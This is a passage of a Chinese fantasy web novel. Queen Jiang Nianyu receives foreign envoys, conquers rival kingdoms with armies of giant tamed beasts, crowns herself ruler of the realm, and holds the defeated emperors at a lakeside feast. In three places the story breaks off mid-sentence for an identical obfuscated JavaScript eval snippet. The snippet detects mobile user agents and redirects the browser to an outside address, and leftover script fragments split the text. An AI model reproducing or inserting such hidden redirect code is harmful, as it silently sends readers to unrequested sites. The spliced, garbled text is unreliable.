总之,在这里能看见来自世界各地的人,她们形貌各异,服饰参差,口音混杂,但现在她们都汇聚在了碎叶城这座边城。 曾经贫瘠荒凉的小城,如今已然成了一座极具包容性、文化灿烂、商业繁荣的国际大都市。 街边的商铺鳞次栉比,商品琳琅满目。 水果糕点、皮草衣物、金银器皿、珠宝首饰、武器刀具……只有你想不到的,没有这里买不到的。 各国使者们一路走一路看,眼睛都要转不过来了。 心下惊叹于碎叶城的繁荣发达。 “这碎叶城都已如此繁华,那姜国的都城又该是何等盛况?” 到了客栈,使者们开房时被问到了一个问题:“客人可是来参加姜国女王的登基大典的?” “你怎么看出来的?” “客人瞧着面生,且衣服样式也与城中人大不一样。” 碎叶城这边白日温度高,人们普遍都穿得比较清凉,穿着无袖短裤的大有人在,然而这一行客人,却是穿得分外严实。 掌柜的又问:“客人可带了请帖?若有请帖,客人在本店的花销一律免费。” “哦?还有这种好事?那你们岂不是要大大折本了?” 掌柜的:“客人不消担心,你们在店里的一应花销,女王陛下已经提前付过钱了,多的归本店所有,少了则会补上。不止是在本店,在城中其它店铺也是如此。” 住下后,使者们有不少都出了门,逛街去了,体验一下这里别样的风土人情。 这一逛,众人都满载而归,毕竟那些铺子里的东西都不要钱啊,不拿白不拿。 在碎叶城心满意足地住了一晚,翌日上午,各国使者们出城,前往姜国都城。 姜国都城位于碎叶城西北方向,两地相隔五十多里。 原本使者们还担心这一路过去会不会遇到什么危险,毕竟碎叶城以北,就是连绵的沙漠戈壁——传说中能吃人的塔塔沙漠。 即便如今碎叶城周边的地势都被改造成了草原森林,但塔塔沙漠占地那么广,总不可能都变成绿洲了吧? 岂料上路后,他们发现,原先荒凉无边的沙漠,当真变成一望无际的草原了! 起码他们目之所及的地方,再也看不见一片黄沙,入目皆是绿色,深深浅浅的绿,层层叠叠的绿…… 那些赏心悦目的绿色中,还夹杂着种种鲜艳绚丽的颜色,那是金黄的森林、雪色的河流、白色的羊群、五颜六色的野花…… 而在近处,他们行驶的官道两旁,同样种植着高大笔直的凤枣树,树上结满了晶莹火红的枣子,一颗都有小儿拳头大。 这条路被旅人称为“凤枣道”。 道路两旁,每隔数里远就坐落着一座小镇,镇上几乎都是商铺,有茶水铺、酒肆、客舍、饭馆……基本能满足旅人的各种需求。 走在这样的一条道路上,众人得到了极大的安全感。 因着道路异常平稳,且一路通畅没有阻碍,使者们比自己预料的要到得早上许多。 此时不过晌午。 远远的他们就看见了一棵高耸入云的巨树,那棵巨树遮云蔽日,将整座城市都笼罩在它的树荫之下。 而在城市旁边,坐落着一片浩瀚如海的湖泊,湖面倒映着蓝天,平静澄澈得犹如一面宝石镜子。 到了城市入口,使者们发现这座姜国国也没有修建围墙,同样是大开大敞的姿态,仿佛不惧来自任何方向的威胁。 城市入口处立着一座高高的石碑,石碑上书“朱雀城”三个铁画银钩的大字。 高空之上,盘旋着一只只硕大的老鹰,它们并非是野生的老鹰,而是王宫豢养的,用来进行高空巡逻。 使者们一抵达朱雀城范围,王宫里就收到了消息。 夏桃率领仪仗队提早一步来到了城门口,迎接各国使者,领着他们入了城,将他们安置在四方馆中。 这是专门接待来使的地方。 夏桃:“诸位远道而来,想必有些累了,还请诸位好生休息,明日王上设宴为各位接风洗尘。” 拓跋烈不满道:“姜国女王好大的架子,我等亲自驾临,她竟然连个面都不露?这是不把我们看在眼里了?” 夏桃:“王上有要务在身,还请周皇见谅。” 夏桃走后,拓跋烈来到了李泓的房间里。 “我听说姜国女王姓姜名念虞,而李淳那个完蛋玩意儿曾经有个妃子也叫姜念虞,这两人不会是同一个人吧?” 李泓:“世上同名同姓者多的是,这应该只是个巧合而已。” 嘴上这么说,其实他心里也这么怀疑过。 因为就在德妃离开后不久,他发现宫中内库里的宝物都不翼而飞了! 还有德妃曾住过的未央宫、御膳房等好几处地方,都像是被洗劫过一样。 要说这事和德妃没有丝毫关系,他是万万不信的。 因为他知道德妃就是曾治好他的余岁神医,这个女人神秘莫测,手段高明,那些东西很可能就是她偷走的。 只是他怎么也琢磨不透,她到底是怎么把那么多东西神不知鬼不觉地从宫中运出去的。 姜念虞离开时,将姜夫人也一块儿带走了,他便猜测,姜念虞很可能是带着李晟和姜念虞去肃州碎叶城,和待在那里的姜赦汇合了。 于是便派人一路追踪了过去。 谁知他派去的人一去不回,一个都没有。 事后他又派了几波人过去,结果还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741376|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一样,那些人就像是凭空消失了。 就和他派去攻打姜国的军队一样。 姜念虞和姜国都是如出一辙的邪门。 他初初登基,手头的事千头万绪,忙都忙不过来,遂不再管姜念虞了,随她去吧。 等再听到她的消息时,已是一年后了。 碎叶城那边传来种种匪夷所思的消息,什么荒漠一夜变草原,什么凤凰浴火而来,什么天降神女…… 据亲眼目睹过神女的人形容,那所谓的神女,就是从宫里跑掉的德妃。 好好的宫妃不当,跑到碎叶城那等鸟不拉屎的荒凉边城去装神弄鬼,李泓不由得发出一声笑叹。 原本他对姜念虞有着一丝说不清道不明的绮思——她治好了他的腿,让他重新站了起来,拿回了属于自己的东西——还想着登基后给她一个名分,让她继续在宫中锦衣玉食。 但听说了碎叶城传回来的种种消息后,他对她的好感烟消云散了,他觉得这个女人脑子约莫有点毛病。 如今,三年过去,从碎叶城到朱雀城,他见识过了太多不可思议的东西。 如果姜国女王当真是德妃,那他不得不佩服她了。 她到底是如何做到的? 在短短三年内,就建立起了一片如此富饶美丽的国度? * 夏桃说女王有要务在身,并非是托词,姜念虞确确实实有要务在身。 这会儿她并不在王宫内,而是在几十里开外的军事基地阅兵。 姜国的士兵人数还不到三万,和齐、楚、周这三个大国的军队人数远远无法相较。 但若是论实力,姜念虞自信姜国的战力,不输给任何一国。 因为姜国的每一个士兵,都至少配备了一头异兽,这些异兽有能够载人飞行的巨大雪雕,有能够运送物资的玄鹰,有能够传递情报消息的乌鸦,有银狼、猛虎、狮子、黑熊…… “咚!咚!咚!” 鼓声如浪潮一般扩散开来,振奋人心,震人耳目。 姜念虞站在一座高台上,台子四角各插着一杆黑色的旗帜,旗帜上火红色的朱雀猎猎生辉,在风中激扬。 “开始吧!” 随着她一声令下,阅兵仪式正式开始。 首先出场的是黑熊部队,只见一头头足有七八米高的大黑熊直立行走而来,每一头大黑熊肩头,都站着一名女兵。 林袅是这场阅兵仪式的总指挥,也是三军统帅,她站在瞭望台上,手中挥舞着旗帜,下达指令:“前冲!” 站在黑熊肩头的女兵立刻指挥自己的伙伴往前冲。 一群大黑熊咚咚咚往前跑,震得地面轰隆作响,像是引发了一场小型地震。 林袅:“停下!” 大黑熊们又整齐划一地停了下来。 接着出场的是猛虎部队,每一头猛虎身长都有七八米,一尾巴扫出去,能够裂山开石,纵身一跃,能跑出几十米。 风驰电掣就是为它们量身定制的词。 当然,没有驯养员——坐在它们背上的女兵——的命令,它们是不会轻举妄动的。 接着出场的是银狼部队、铁骑部队…… 最后是空军——雪雕部队。 姜念虞看着这些令行禁止的异兽战队,满意地点了点头,心中燃起了熊熊的战火。 拓跋烈他们以为她只是在姜国登基吗? 他们错了,她是要一统天下,登基称帝。 就先拿他们的随行军队来试试水吧。 77. 第77章 拓跋烈、李泓,还有李玄璋,他们出于各种各样的原因,都亲自担任使者,出使姜国,但出于谨慎,每个人都带了一支军队过来,随行保护。 这会儿三国的军队就驻扎在碎叶城附近,成三足鼎立之势,井水不犯河水。 他们驻扎的具体位置以及人数,乌鸦部队早就打探到了。 姜念虞没有亲自出动,而是将这场试水般的战役交给了林袅,“你点上一千人,去吧。” 林袅脑子里早就出现了好几套作战方案,闻言心头一振,感受到了王上对自己的信任,当即快速点了一千人,率领她们出发了。 姜念虞虽然放手让林袅施为,但谨慎起见,自己还是乘着小红跟了上去。 如今的小红,翼展有几十米,通身火红,流光溢彩,当真像是传说中的朱雀神鸟了。 当然了,这都是她日夜给它投喂异能的结果。 为了不让林袅她们发现,姜念虞让小红飞到了更高处,周身云雾弥漫,从这里看下去,地面成了一个个斑斓的色块,建筑看起来十分迷你。 至于人,都小得看不见了。 高空十分寒冷,姜念虞一会儿就受不了了,忙从空间里拿出厚实的大氅裹上。 小红的速度比雪雕要快多了,她俩先一步抵达了三国军队驻扎的地方,小红降落在了山峰上。 姜念虞等了几分钟,林袅才率领部队到来。 齐国军营里,一个小兵到河边打水,水面忽然晃动起来。 他还以为水里有什么东西,忙提着水回到岸上,发现地面竟然也在震颤,像是要发生地震。 “不好了,地龙要翻身了!”小兵也顾不上水桶了,急急忙往回跑,回去报信。 然而没等他跑回营地,地面的震颤更明显了,他一个踉跄跌倒在地,一只毛绒绒的硕大爪子猛地落在他面前。 小兵后背一寒,缓缓抬头,看见了令他肝胆俱裂的一幕—— 一头巨大的老虎站在他面前! 然而这样巨大的老虎不止一头,而是有几十头! 老虎后面,还有巨狼,巨马,天上还盘旋着庞大的雪雕…… 更令他惊骇的是,这些巨兽的背上,竟然都坐着人。 小兵吓得两眼一翻,晕了过去。 这场战役,毫无疑问没有丝毫悬念。 齐、楚、周三国的军队,加起来有将近三万人,然而这三万人在一千人的异兽部队攻击下,毫无抵抗之力,溃不成军。 整场战斗,不到半个时辰就结束了。 林袅留下几个下属处理战俘,整理物资,自己率领大部队回到基地复命了。 姜念虞已先她一步回来了,听她汇报了战果后,赞赏道:“好,首战告捷,人人有功,这个月工钱加倍,俘获回来的物资稍后作为奖励发放下去。” 参与了这场战役的一众将士俱都欢呼起来。 她们的异兽伙伴也嗷嗷叫唤。 而那些没能参加战斗的士兵都是一阵羡慕。 姜念虞对她们道:“你们也不必羡慕,因为接下来咱们要打的仗还多着呢。下午好生休息,等晚上我亲自率领你们出战,一举拿下周国!” “喔!王上威武!拿下周国!” 是夜,姜念虞坐在小红背上,迎着高空中的寒风,朝着周国都城进发。 在小红下方,是雪雕部队。 地面上,黑熊部队、猛虎部队、银狼部队等陆军部队一路狂奔,掀起漫天尘土。 所过之处,鸟雀惊飞,万兽退避。 从姜国到周国都城,有上千里路程,然而异兽部队不过花了两个时辰就到了。 城墙上,周国的值守军远远就发现了敌袭,忙吹响了号角。 士兵很快就集结起来,张弓搭箭,对准城外的敌人。 然而当他们看见敌人后,却纷纷吓得瘫软在地。 “娘勒!有怪物!” “妖怪来攻城了!快跑啊!” “都回来!那不是怪物!它们背上都坐着人呐!” 有胆子大的士兵闻言停止了逃跑,在上峰的命令下朝着城外射箭。 箭矢如雨纷纷落下。 黑熊部队打头,顶着箭雨跑向城门。 它们速度太快,而且皮糙肉厚,即便被箭矢射中了,也毫发无损。 至于它们背上的女兵,全身都包裹在轻便却坚硬的铠甲中,也没有被伤到。 与此同时,林袅率领雪雕部队也朝周国军队发射了弩箭。 在这个没有空军的世界,姜国的雪雕空军对上周国的军队,简直就是降维打击。 城墙上的周国士兵接连被射中,死的死伤的伤,根本无法再组织起有效的反击。 黑熊部队来到了城墙下,在女兵的命令下,朝着城门重拳出击。 厚重的城门被硬生生砸开了。 黑熊部队率先冲了进去。 其余陆战部队紧随其后。 姜念虞已先一步乘着小红来到了周国皇宫,落在了最气派恢弘的那座宫殿屋顶上。 她拿出一颗凤枣种子,朝着底下一丢。 种子落在地上,瞬间生根发芽,节节升高。 当林袅率领部队攻入皇宫时,那颗凤枣种子已经长成了一棵十几米高的大树。 然而它的长势还没有停下,仍在不停地长大长高,高到整座都城的人都看得见。 它的根系也在不断蔓延出去,覆盖了都城的每一寸土地。 姜念虞从空间里拿出一幅巨大的地图,悬挂在半空中。 地图是周国的都城燕京,每一座建筑、每一条小道都在上面,没有丝毫错漏。 因着是用特殊的药墨绘制而成,地图在昏暗的夜色中发着光,能清晰地被人看到。 姜念虞将手贴在凤枣树的树干上,闭目聆听它传递来的庞大信息。 过了一阵,林袅前来禀报:“王上,燕京城和皇宫都已拿下。” 姜念虞:“好。” 她手持一根权杖,在地图上某一处一点,“这里有人浑水摸鱼,趁乱抢劫,去处理一下。” 林袅当即派人前去处理。 姜念虞又指着另一处:“这里有人施暴,将施暴者关进牢狱。” “这里有人想趁乱逃走,将其拦下。” “这里……这里……” 不过一晚上功夫,原本动乱的燕京城就被安抚镇压了下来,没有发生一起暴力事件,民众也没有一人伤亡。 早饭后,姜念虞打坐了一会儿,异能在体内游走一圈,面上的疲色便一扫而尽,变得神采奕奕。 在银狼军的开道下,她走进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749171|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周国举行朝会的宫殿。 周国的文武百官早已收到通知,在这里集合了。 当姜念虞踏进大殿时,百官大气也不敢出,纷纷躬身行礼。 普通的侵略者他们或许还会试图反抗一番,但昨晚闯进京城的,是犹如从天而降的神兵一般的姜国军队。 那足有三层楼高的大黑熊,看一眼都能把人的心脏吓得蹦出来,却被姜国士兵调教得服服帖帖,令行禁止。 那身长好几丈的猛虎、银狼,那能载人在天上飞的雪雕……哪一样都超出了他们的认知。 还有她们那位女王,乘坐的火红大鸟,仿佛是传说中的神鸟朱雀,从空中飞过时,半边天空都像是被染红了一样。 神仙降临也不过如此了。 如此种种,他们哪里还敢反抗? 姜念虞转身在龙椅上落座,周国的百官很识相地跪地行礼,“皇上万岁万岁万万岁。” 姜念虞满意地抬起手:“众卿平身。” 姜国为各国使者所设的接风宴,是晚宴。 傍晚时分,天边云霞似锦,红色、橙色、粉色、橘色的云彩交织在一起,浓墨重彩,美得梦幻。 各国使者乘坐马车来到了王宫,被宫人带到宴会大殿,引入席中。 “王上驾到——” 处理完周国那边的事,姜念虞乘着小红回国,刚好赶上了这场晚宴。 姜国本国的官员纷纷站了起来,向她躬身行礼。 其余国家的使者也都站了起来,用本国的礼节向她行礼。 唯有齐、楚、周三个国家的使者,同时也是它们国家的皇帝,坐在位置上没有动弹。 李泓和拓跋烈一开始是出于傲慢,他们身为大国皇帝,岂可向一小小姜国的女王行礼?该是她给他们见礼才是。 然而当见到姜国女王的真容时,两人脸上的表情乍然变了。 拓跋烈直勾勾地盯着姜女王的脸,为她的美貌所惊艳,一时看得失了神。 李泓则是震惊得呆愣当场,姜女王竟当真是三年前从宫里跑掉的德妃! 李玄璋第一时间看向了姜念虞的发髻,之前夏桃来送请帖时,他交给她一个木盒,让她替自己带给姜女王。 那木盒里装着的是他亲手为她雕刻的一根玉簪。 但此刻那根玉簪并未被她戴在发间。 为什么? 是不喜欢吗? 姜女王就是姜念虞这件事,他早就知道了。 虽然三年前她要杀了他,但他并不怪她,毕竟她情有可原。 这三年,他一直在试图弥补她们之间的关系,想和她恢复到以前那样亲密的状态。 但每次他来见她,她都会对他大打出手,有一次,他差点就死在她的围追堵截之下了。 即便他易了容换了装,她也总能认出他来。 每次被她认出来,他心里既高兴又无奈,高兴的是,无论他变成什么样,她都能认出他来,无奈的是,她又要杀他了。 那次差点死掉之后,他休养了很长一段时间,养好伤后,克制着没再来见她。 但会时不时托人送她东西。 他不知道她是如何处理那些东西的,但他依然乐此不疲地送。 因为除了她之外,这世间已经没有什么东西能引起他的兴趣了。 78. 第78章 在王位上坐下,姜念虞轻抬了下手,侍立在她身旁的春樱吩咐下去,宴会便正式开始了。 如今的春樱依然是她的贴身侍女,但除此之外,她还是王宫大总管,管理着王宫上下的一应事务,是姜念虞最不可或缺的帮手。 乐曲声响起,舞伎丝滑入场,跳起了颇具异域风情的舞蹈。 一道道美味佳肴被呈了上来。 姜念虞给自己倒了杯酒,对各国使者道:“感谢诸位不远千里而来,为我庆贺,我敬诸位一杯。” 一杯酒下肚,拓跋烈目光灼灼地盯着她,“没想到姜国女王竟是一位如此倾国倾城的绝色美人,要是早知道,我一定早早就来拜会了。” 想到已将周国收入囊中,一统天下的事业完成了三分之一,姜念虞的心情就十分之好,对拓跋烈也就分外宽容。 她冲他一笑,“周皇过奖了。”真正倾国倾城的,是你才对呀。 拓跋烈见她肯冲自己笑,还笑得那般勾魂,心下一荡,以为她对自己也有意思,愈发孔雀开屏起来了。 酒酣耳热之际,他瞧着姜女王那张光艳夺目的脸,心中涌起了一股豪情和冲动,从座位上起身,来到了她面前,单膝跪下。 摘下脖子上戴着的一串宝石项链,双手献给她:“女王陛下,请你嫁给我,只要你嫁给我,你就是我周国的皇后,以后我们的儿子,会是周国的太子!” 这话一出,整个宴会大殿奇异地安静了下来,像是被按下了静音键。 姜国参加宴会的一众官员都感到十分愤怒。 这周国皇帝是个什么东西,竟敢来求娶她们的女王陛下?! 她们女王陛下可是神女,天下有谁配得上? 还让女王陛下当他的皇后,女王陛下会稀罕他周国的皇后之位么? 李泓握着酒杯的手紧了紧,一旦姜念虞答应下来,那么周国必定如虎添翼,到时大齐就危险了。 姜念虞可是齐国人,她应该不会答应吧? 李玄璋盯着拓跋烈,心里已经在挑选最适合他的酷刑了。 竟敢觊觎岁岁,他该死。 姜念虞的目光从那条项链移到拓跋烈的脸上,脸上仍是笑着的,眼神却冷了下来,“周皇喝醉了,把他扶下去。” 立时便有两个侍卫过来,将拓跋烈强行“扶”走了。 拓跋烈还想说些什么,其中一个侍卫已点了他的哑穴,让他发不出一点声音来。 拓跋烈的随从追上去,“你们想把我们皇上带到哪儿去?” 很快,这几个随从也被拖了下去。 宴会继续,姜念虞朝众人举杯,气氛重又变得欢快起来。 转眼三天过去,时间来到了八月初十这一天。 登基大典在王宫前的朱雀广场举行。 朱雀广场正中央,矗立着一株参天大树,也是凤枣树,小红的窝就在上面。 树冠覆盖的范围极广,整座朱雀城都在它的笼罩范围内。 一大早,得到消息的民众就赶了过来,想要一睹女王登基的盛况,广场上人山人海。 但在最内围,银狼卫围了一个圈,空出了一片空地。 各国使者因着使者的身份受到了优待,得以在这个圈内近距离观看登基大典。 “吼——”一声震天动地的虎啸声传来,原本人声鼎沸的广场霎时安静下来。 王宫城门内,一头快有城门高的巨大白虎一身王霸之气地走了出来。 各国使者吓得失色,想往后退,却发现身后是一头头人高的银狼,以及无尽的民众。 不同于这些外国使者,姜国民众看见白虎,都兴奋地叫喊了起来。 “白虎大人!” “白虎大人威武!” 她们都知道,白虎大人是女王陛下的坐骑之一,平时女王陛下出宫,都会骑它。 所以她们对这头白虎并不陌生。 就连小孩子见了都不会感到害怕,反而想要上前摸一摸。 因为她们都知道,白虎大人只是看着吓人,实际可温柔了,还会跟它们玩耍,保护它们呢。 白虎大人是她们姜国四大镇国神兽之一! 恢弘肃穆的音乐响起,姜念虞骑着白虎出场,出现在了众人眼前。 到了空地上,她从白虎背上一跃而下,朝着中央走去,每走一步,脚下便会生出一片奇花异草。 那些奇花异草以极快的速度向四周蔓延,不多时,就蔓延到了民众的脚下。 霎时间,青草香、花香将众人包围。 “这些花竟是真的!” “快看,蝴蝶!” “女王陛下又大显神威了。” 走到凤枣树的树干前,姜念虞一挥手,无数根藤蔓从地下窜出,有灵性般交织缠绕成了一个龙椅,龙椅下还延伸出了一个个阶梯。 姜念虞踩着阶梯走到了半空中,旋身在龙椅上坐下。 开口时声音并不洪亮,却奇异地传遍了全场,像是响在每个人的耳边。 “我乃姜国女王姜念虞,在此之前,姜国已经打下了周、齐、楚三国,一统天下,如今这天下,已被尽数纳入我姜国版图! “自今日起,我就是这天下共主。” 随着她话音落下,原本窝在树上的小红出场了,华丽的翅膀一扇,在空中盘旋飞舞。 如今已经四岁的姜小红,通体火红,如鎏金般绚烂,在阳光下熠熠生辉,外形十分符合人们对神鸟的想象,性格却是一如既往的皮。 只不过它的皮只针对姜念虞这个主人,有外人时它十分的有偶像包袱,表现得一派高贵清冷,颇有神鸟范儿。 展示了一番它精心梳理过后的漂亮羽毛,引发了大片狂热喜爱的尖叫声后,小红心下十分得意,朝着姜念虞飞了下来。 在小红飞到最低点时,姜念虞纵身一跃,落在了它背上,手中凭空出现一把糖果,朝着底下撒去。 “喔喔!下糖咯!下糖咯!” “快抢!这可是女王陛下亲手赐给我们的糖果,吃了一定能长命百岁!” “恭喜女王陛下,哦不对,从现在开始该改口称皇上了!” “吾皇万岁万岁万万岁!” 在一片欢呼雀跃的百姓中,震惊疑惑的李泓和拓跋烈呆滞地站在原地,一动不动,显得格格不入。 两人对视一眼,不约而同朝外走去。 广场这边人太多了,两人在护卫的护持下,废了好大一番劲才挤出来。 进了广场附近的一家茶楼,两人要了一间包厢,各自喝了一大碗茶压压惊。 拓跋烈:“姜女王是什么意思?她是在说笑吧?我周国已经被姜国打了下来,这怎么可能?” 李泓也觉得荒唐,但是:“她总不可能当着那么多人的面胡说八道吧?除非她疯了。” 拓跋烈:“还有那只大鸟,她骑的那头白虎,她步步生花的手段……难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758676|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她当真是神女?” 李泓嗤之以鼻:“怎么可能?这些不过是幻术而已,姜女王曾经当众施展过种瓜和种桃的幻术,幻术十分精湛。 “如今三年过去,她的幻术愈发精进了,那些关于神女的传言,恐怕就是她通过施展幻术传出来的。” 拓跋烈:“原来如此,我还真被她给骗过去了,也难怪这姜国的百姓都对她那么狂热忠诚,多半也是被她给骗了。” 李泓:“可惜,幻术再精湛也终究成不了真,她骗得了那些愚民,骗不了我们。” 拓跋烈:“李兄,不如我们联手灭了姜国?事成之后,我只要姜女王。” 李泓:“拓跋兄这是爱美人不爱江山啊。” 拓跋烈朗声大笑。 谈妥后,两人各自派人去联系带来的军队。 结果却得知:“皇上,我军两万人全都不见了!” 李泓:“什么?都不见了?这不可能,你是不是跑错地方了?” “属下起初也怀疑自己是不是走错地方了,但是来回找了好几遍,确定没有走错,属下记得我军驻扎的地方附近是一条河流,河流下游还有一片松树林……” 李泓负手在房中踱着步子,“难道是周景星带人转移了阵地?” 这次率军随他出行的,正是周景星。 下属道:“属下在那里发现了不少尸骨,营地里像是发生了一场战斗。” 拓跋烈那边的情况也差不多。 于是两人又碰了头,讨论这到底是怎么一回事。 李泓猜测:“或许姜女王已经发现了我们的意图,先下手为强了。” 拓跋烈:“姜国巴掌大一块地方,总共才多少人?就算是全民为兵,也不可能在短短几天内将我们两国的军队一举歼灭,说不定是楚国干的!” 李泓:“若果真如此,那我们必须尽快出城离开,否则将有性命之危。” 两人带着随从趁夜悄然离开。 所幸朱雀城没有城墙,且不设宵禁,只要想走,没人会阻拦。 一行人顺利出了城。 刚松了口气,就见前方的道路上竟然多出来了一座山。 那座山不是很高,但出现得很诡异,明明前几天他们来时还没有的。 拓跋烈派人过去查看一番。 他手下的一名武士握着刀慢慢靠近。 待到了近前,武士拿刀戳了戳这座山,却发现戳不进去,而且这座山的手感有些奇怪,似乎是软的。 下一秒,山体动了,一圈一圈盘旋着“解体”了,眨眼间从一座山,变成了一条巨蟒! 巨蟒居高临下地盯着武士,两只灯笼般的大眼睛发着绿光,武士吓得尖叫一声,屁滚尿流地跑了回来。 “皇,皇上,那不是山,是,是一头巨蟒!” 不用他说,拓跋烈等人都看见了。 他们撒丫子就跑,慌不择路之下,一头撞在了一堵“柔软”的墙上。 一看,那哪里是墙,分明是巨蟒不知何时游走过来的身躯! 巨蟒用它的尾巴把他们全都圈住了! 而巨蟒那颗硕大的恐怖的头颅,就悬在他们上空。 这下子,他们真正是上天无路,入地无门了。 插翅也难逃。 就在他们以为自己一行要葬身于蟒腹时,一只雪雕飞了过来,雪雕背上传来夏桃的声音:“李泓,拓跋烈,女皇有请,跟我走一趟吧。” 79. 第79章 夏桃将李泓二人带到了一座小岛上,而后撑船离开了,留下两人在风中瑟瑟发抖。 在原地踌躇了一阵,两人还是朝着岛上唯一的建筑——一座茅草亭走去。 小岛当真很小,方圆不过几十丈,一眼就望到了头。 岛上光秃秃的,没有种植任何花草树木。 姜念虞这会儿正和李玄璋还有空明在那座茅草亭中钓鱼。 四年前,空明带着李玄璋给的人马回到母国,救出了自己的母后,为自己的父王报了仇,而后留了下来,治理国家。 不过他没有还俗,依然保持着和尚的形象,平日里也是穿缁衣、茹素。 后来姜念虞建立了姜国,便与空明所在的国家建立了邦交,互通往来,互帮互助。 三年过去,空明在姜念虞的协助下,已经将西域诸国统一了,成了西域的无冕之王。 当然,他仍旧一心侍奉佛祖,并不留恋凡尘俗世的荣华富贵。 所以姜念虞很高兴地替他接过了担子。 她说的天下已尽归姜国版图,这话并没有水分。 这次她的登基大典,空明也来了。 原本他在房中打坐,被姜念虞叫了出来,“去钓鱼吃宵夜?” 空明知道他就算拒绝,她也有法子将他拖走,所以干脆同意了。 李玄璋还以为姜念虞是想与他深夜约会,很高兴地赴约了,结果发现还有个空明,周身的气压顿时就低了下来。 姜念虞才不管他是个什么心情,她将两人带到湖心岛上,指了指给他们准备的鱼竿,“开始吧。” 钓了半天,三个人一条鱼都没钓到。 听见身后传来的脚步声,姜念虞就知道是李泓和拓跋烈来了,朝两人招呼一声:“来了?坐吧,那两根鱼竿是你们的。” 李泓二人面面相觑,莫名其妙,不过还是坐了下来,乖乖拿起鱼竿钓鱼。 被夜晚湖上的寒风一吹,李泓被吓得瘫痪的脑子逐渐清醒过来。 先前那条巨蟒,应该只是幻术吧? 一定是姜念虞故意施展幻术吓唬他们的! 才这么想着,就听姜念虞说了句:“万岁,你往前面去一点,这里都没什么鱼啊。” 下一瞬,李泓就感到脚下的小岛动了! 他还看见“小岛”在水下的部分,伸出了一只巨大的脚蹼…… 那脚蹼,形似乌龟的脚。 难道,他们脚下的这座小岛,是一只活的乌龟? 被震惊到的不只他一个,拓跋烈直接傻在了那儿。 “它它它——” 姜念虞好心地告诉他:“没错,你们脚下的这座小岛,是活的,它就是我们姜国四大镇国神兽之一的玄武,我给它取名为万岁。” 原先李泓二人还觉得这座小岛小,现在得知它是一只乌龟后,他们忽然觉得它太大了,大得惊人。 坐在一只巨龟背上钓鱼是种什么体验? 问就是人麻了。 李泓不禁怀疑起自己先前的判断了。 自己先前看到的种种超越现实的梦幻景象,也许,可能,大概并不是幻术,而是真的! 就在这时,他手中的鱼竿传来了一股强劲的拉扯力。 他下意识将鱼竿提起来。 鱼钩上,赫然挂着一条手臂来长的鱼儿,活蹦乱跳。 姜念虞:“看来你运气不错,这么会儿功夫就钓上来一条大鱼,咱们今晚的夜宵有着落了。” 继李泓之后,李玄璋几人也先后有了收获,唯独姜念虞空军了。 没事,虽然她没钓上来鱼,但她想吃鱼还不简单? 在姜念虞的指挥下,拓跋烈负责生火,李泓负责杀鱼,空明洗菜切菜,李玄璋则掌勺烧火。 至于她么,就坐在一边等着开吃。 等着的时候她也没空着嘴,捧着一盘凤枣咔嚓咔嚓吃着。 约莫半个时辰后,一顿丰盛的烤鱼火锅做好了,几人围坐在锅边,吃了顿热腾腾的夜宵。 吃完夜宵,姜念虞凭空拿出一张新版的姜国地图,铺在了玄武背上,地图的四个角用镇纸压着。 地图上,已然没有了齐、楚、周等国,取而代之的是一个大大的姜国。 东南西北四方,如今皆已姓姜。 姜念虞今晚把李玄璋四人叫出来,当然不只是为了钓鱼吃夜宵,更多的还是想跟他们商讨后续的治国方略。 打天下容易,但是治天下却不简单。 鉴于这四人都有治理国家的经验,所以她留着他们的性命,没有把他们杀了,不然她再到哪儿去找有治国经验的牛马来给她工作呢? 这一讨论,就是一晚上。 翌日,林鹤率领一支王宫禁军到来,一同到来的还有姜念虞这个女皇的专属宝马座驾。 座驾由四匹宝马拉载,车厢堪比一座移动的房子,里头桌椅床榻一应俱全。 早膳也已经摆好了。 姜念虞请李玄璋几人上车,一块儿吃了顿丰盛美味的早饭。 “接下来咱们去红薯城,在路上你们可以补会儿觉。” 说完这话,她自己就在榻上盘起了腿,打坐休息。 空明靠坐在车厢壁上,捻动着佛珠,闭目养神。 李泓和拓跋烈这对难兄难弟对视一眼,直接趴在地毯上睡了。 从昨晚到现在,又是受惊又是熬夜,两人也确实遭不住了,躺下没多久就沉沉睡了过去。 李玄璋却是没睡,他内力浑厚,精气充足,熬个夜对他来说不算什么。 默默凝视了姜念虞一阵,他没敢打扰她,撩开车帘,看向策马行驶在车旁的林鹤。 三年前,他能完胜林鹤,然而三年后,他已看不透林鹤了。 这说明,林鹤如今的武功绝不在他之下。 短短三年时间,他就有了如此大的进步。 是因为姜念虞吗? 她像改造那些猛兽一样改造了林鹤? 